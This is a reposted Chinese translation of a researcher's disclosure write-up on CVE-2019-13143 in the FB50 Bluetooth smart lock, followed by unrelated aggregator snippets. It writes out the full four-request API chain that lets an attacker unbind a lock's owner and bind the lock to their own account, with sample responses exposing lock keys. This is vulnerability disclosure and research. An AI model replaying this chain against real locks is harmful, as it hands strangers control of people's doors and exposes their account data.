撬开 FB50 智能锁 (CVE-2019-13143)

标签: | 发表时间:2019-08-06 21:16 | 作者:
出处:https://icyphox.sh

 

......以及物联网安全方面的经验教训

最初发布在 SecureLayer7的博客,我的编辑

有问题的锁具是由深圳龙兄科技有限公司生产的FB50智能锁。这种锁在许多电子商务网站上以多个品牌销售,估计有超过15k +用户。

锁通过蓝牙与手机配对,并需要Play / App Store中的OKLOK app才能正常运行。该应用程序要求用户在有更多功能可用之前创建帐户。它还帮助配置指纹,并通过蓝牙从一定范围解锁。

我们进行两个主要攻击 - 蓝牙(BLE)和Android应用。

通过蓝牙低功耗(BLE)

Android手机可以捕获蓝牙(HCI)流量,可以在“设置”下的“开发者选项”下启用。我们从Android手机中进行了大约4次“解锁”,如屏幕截图所示。

wireshark包

这是 Write请求中发送的值:

wireshark写请求

我们尝试使用 gattool和重放这些请求 gattacker,但由于写入的值是加密的,因此没有成功。 1

通过Android应用程序

使用逆向应用程序 jd-guiapktooldex2jar没有让我们走得太远,因为大部分都被混淆了。当存在更简单的方法时,为什么还要麻烦--BurpSuite。

我们捕获并玩了一堆请求和响应,最终到达了一个有效的漏洞利用链。

利用

整个漏洞利用程序是一个包含经过身份验证的HTTP请求的4个步骤:

  1. 使用锁的MAC(通过附近的简单蓝牙扫描获得),获取条形码和锁ID
  2. 使用条形码,获取用户ID
  3. 使用锁ID和用户ID,取消锁定用户的绑定
  4. 提供新名称,攻击者的用户ID和MAC以将攻击者绑定到锁

这就是它的样子,实质上(个人信息编辑)。

请求1

  POST /oklock/lock/queryDevice {"mac":"XX:XX:XX:XX:XX:XX"} 

响应:

  {    "result":{       "alarm":0,       "barcode":"<BARCODE>",       "chipType":"1",       "createAt":"2019-05-14 09:32:23.0",       "deviceId":"",       "electricity":"95",       "firmwareVersion":"2.3",       "gsmVersion":"",       "id":<LOCK ID>,       "isLock":0,       "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",       "lockPwd":"000000",       "mac":"XX:XX:XX:XX:XX:XX",       "name":"lock",       "radioName":"BlueFPL",       "type":0    },    "status":"2000" } 

请求2

  POST /oklock/lock/getDeviceInfo  {"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"} 

响应:

     "result":{       "account":"[email protected]",       "alarm":0,       "barcode":"<BARCODE>",       "chipType":"1",       "createAt":"2019-05-14 09:32:23.0",       "deviceId":"",       "electricity":"95",       "firmwareVersion":"2.3",       "gsmVersion":"",       "id":<LOCK ID>,       "isLock":0,       "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",       "lockPwd":"000000",       "mac":"XX:XX:XX:XX:XX:XX",       "name":"lock",       "radioName":"BlueFPL",       "type":0,       "userId":<USER ID>    } 

请求3

  POST /oklock/lock/unbind  {"lockId":"<LOCK ID>","userId":<USER ID>} 

请求4

  POST /oklock/lock/bind  {"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"} 

就这样!(可怕的东西)

您应该将锁转移到您的帐户。此问题的严重性在于原始所有者完全失去对其锁的访问权。他们甚至无法“重新绑定”以取回它,因为当前所有者(攻击者)需要授权。

除此之外,通过IDOR公开了大约15,000个用户帐户的信息。Ilja,我在Telegram遇到的一个很酷的家伙,注意到了名为“carlock”,“车库”,“MainDoor”等的锁 .2这太可怕了。

不寒而栗

概念证明

PoC视频

利用代码

披露时间表

  • 2019年6月26日:在Pune的SecureLayer7发现的问题
  • 2019年6月27日:供应商通知了这个问题
  • 2019年7月2日:保留CVE-2019-13143
  • 供应商没有回复
  • 2019年8月2日:公开披露

得到教训

不要。永远。购买。智能锁。使用“笨”钥匙的人会更好。随着物联网瘟疫的蔓延,它会给那些“不可撼动”的东西带来一个巨大的攻击面(尝试攻击一个“哑”的烤面包机)。

物联网安全场景充斥着十多年前的漏洞,如可执行堆栈段 3,硬编码密钥以及一般的糟糕开发实践。

我们现有的威胁模型和方案必须进行更新,以考虑这些新的开发可能性。这也拓宽了网络战和大规模监视活动的竞争环境。

研究员信息

这项研究是在 印第安纳州普纳的 SecureLayer7完成的:

  • Anirudh Oppiliappan(我)
  • S. Raghav Pillai( @_vologue
  • Shubham Chougule( @shubhamtc

  1. 文章讨论了类似的智能锁,但他们打破了加密。 

  2. 感谢Ilja Shaposhnikov(@drakylar)。 

  3. PDF  

相关 [fb50 智能 cve] 推荐:

撬开 FB50 智能锁 (CVE-2019-13143)

- -
......以及物联网安全方面的经验教训. ( 最初发布在 SecureLayer7的博客,我的编辑). 有问题的锁具是由深圳龙兄科技有限公司生产的FB50智能锁. 这种锁在许多电子商务网站上以多个品牌销售,估计有超过15k +用户. 锁通过蓝牙与手机配对,并需要Play / App Store中的OKLOK app才能正常运行.

Async Http Client 欺骗漏洞 (CVE-2013-7397)

- - 开源中国社区最新新闻
发布日期:2015-06-25. 更新日期:2015-06-25. Async Http Client是异步HTTP及WebSocket客户端Java库. Async Http Client 1.9.0之前版本,会跳过了X.509证书验证,除非keyStore位置及trustStore位置均显式设置.

OpenSSL CVE-2014-0160 Heartbleed 安全漏洞檢測

- - Tsung's Blog
OpenSSL 爆發出嚴重的安全性漏洞, 請趕快檢測 + 升級.. OpenSSL CVE-2014-0160 Heartbleed 安全漏洞檢測. 關於此次事件, 此篇文章: OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞, 寫的非常清楚, 在此就不詳述, 再此摘錄部份說明: (感謝 Allen Own).

Apache Tomcat DIGEST身份验证多个安全漏洞(CVE-2012-3439)

- - C1G军火库
发布时间: 2012-11-05 (GMT+0800). Apache Tomcat是一个流行的开放源码的JSP应用服务器程序. Apache Tomcat 7.0.0-7.0.27、6.0.0-6.0.35、5.5.0-5.5.35存在多个安全漏洞,成功利用后可允许攻击者绕过安全限制并执行非法操作.

破碎的IE:全版本远程代码执行0day披露CVE-2014-1776

- - FreeBuf.COM
微软今天公布了安全公告2963983,它不但涉及6/7/8/9版,还影响最新的IE10/11浏览器,这两个版本的浏览器被查出一种可以远程执行代码的漏洞,如果用户访问到特别设计过的恶意网站,就会遭到类似处理电子邮件链接的攻击,不过目前为止这一漏洞并未广泛传播,仅仅有几例有针对性的攻击. 此前,信息安全公司FireEye曝光了这一漏洞,并表示黑客已利用这一漏洞去攻击某些美国公司.

漏洞播报:OpenSSL “heartbleed” CVE-2014-0160 安全漏洞附利用测试exp

- - Seay's blog 网络安全博客
测试脚本: http://pan.baidu.com/s/1hq41y9A . OpenSSL官方网站4月7日发布 公告,有研究人员发现OpenSSL 1.0.1和1.0.2-beta版本中存在安全漏洞(编号为CVE-2014-0160),可能暴露密钥和私密通信,应该尽快修补,方法是:. 升级到最新版本OpenSSL 1.0.1g.

老版本的Spring应用该如何应对CVE-2022-22965漏洞?

- - 掘金 后端
昨天,在发布了 《Spring官宣承认网传大漏洞,并提供解决方案》之后. 群里就有几个小伙伴问了这样的问题:**我们的Spring版本比较老,该怎么办. **这是一个好问题,所以DD今天单独拿出来说说. 这次的RCE漏洞宣布之后,官方给出的主要解决方案是升级版本,但只有Spring 5.2、5.3和Spring Boot 2.5、2.6提供了对应的升级版本.

智能拼音

- jerry - Joyloft-Zenzen的酒楼
有人装纯洁的,就有人装更纯洁的、. 看到公司论坛有人问,TJJTDS是什么意思. 就有人回复,我也不知道,不过我的拼音输入法打出来的是:“他晋级他得胜”. 然后有人纠正:是“他拒绝她的说”;. 然后又有人纠正:“太极集团董事”;. 接着有人反驳:“天津交通堵塞”;. 最后最邪恶的人出来了,他的拼音打出来是:“舔鸡鸡舔到射”….

明天的智能交通

- limo - 科学松鼠会
城市是一头巨兽,而在城市中穿行的交通工具就组成了它的血液. 小汽车、公交、地铁、火车,它们将人和货物从城市的一个地方运到另一个地方,保障城市的正常运作. 血管堵塞对人来说足以致命,道路堵塞对城市来说则会造成重大损失. 所以,保持血脉的畅通,是维持城市正常运作的重要一环. 但在北京上海这样的巨型城市中,大型的雪崩式的堵塞却常常发生.

Thermodo智能温度计

- - 创意产品,创意设计,创意生活--先看看
由Robocat设计的Thermodo是一款智能温度计,只需将它插到安卓手机或者iPhone手机的耳. 机插孔,手机打开对应APP,即可读取当前环境温度. 内置一个高灵敏感应器,无论用户是身处. 寒冷的雪山顶峰,亦或是在大汗淋漓的桑拿房,Thermodo都能让你的手机读出准确的环境温度. 有黑、红和银三种颜色可供选择,售价29.99美金~44.99美金,有售: thermodo.com.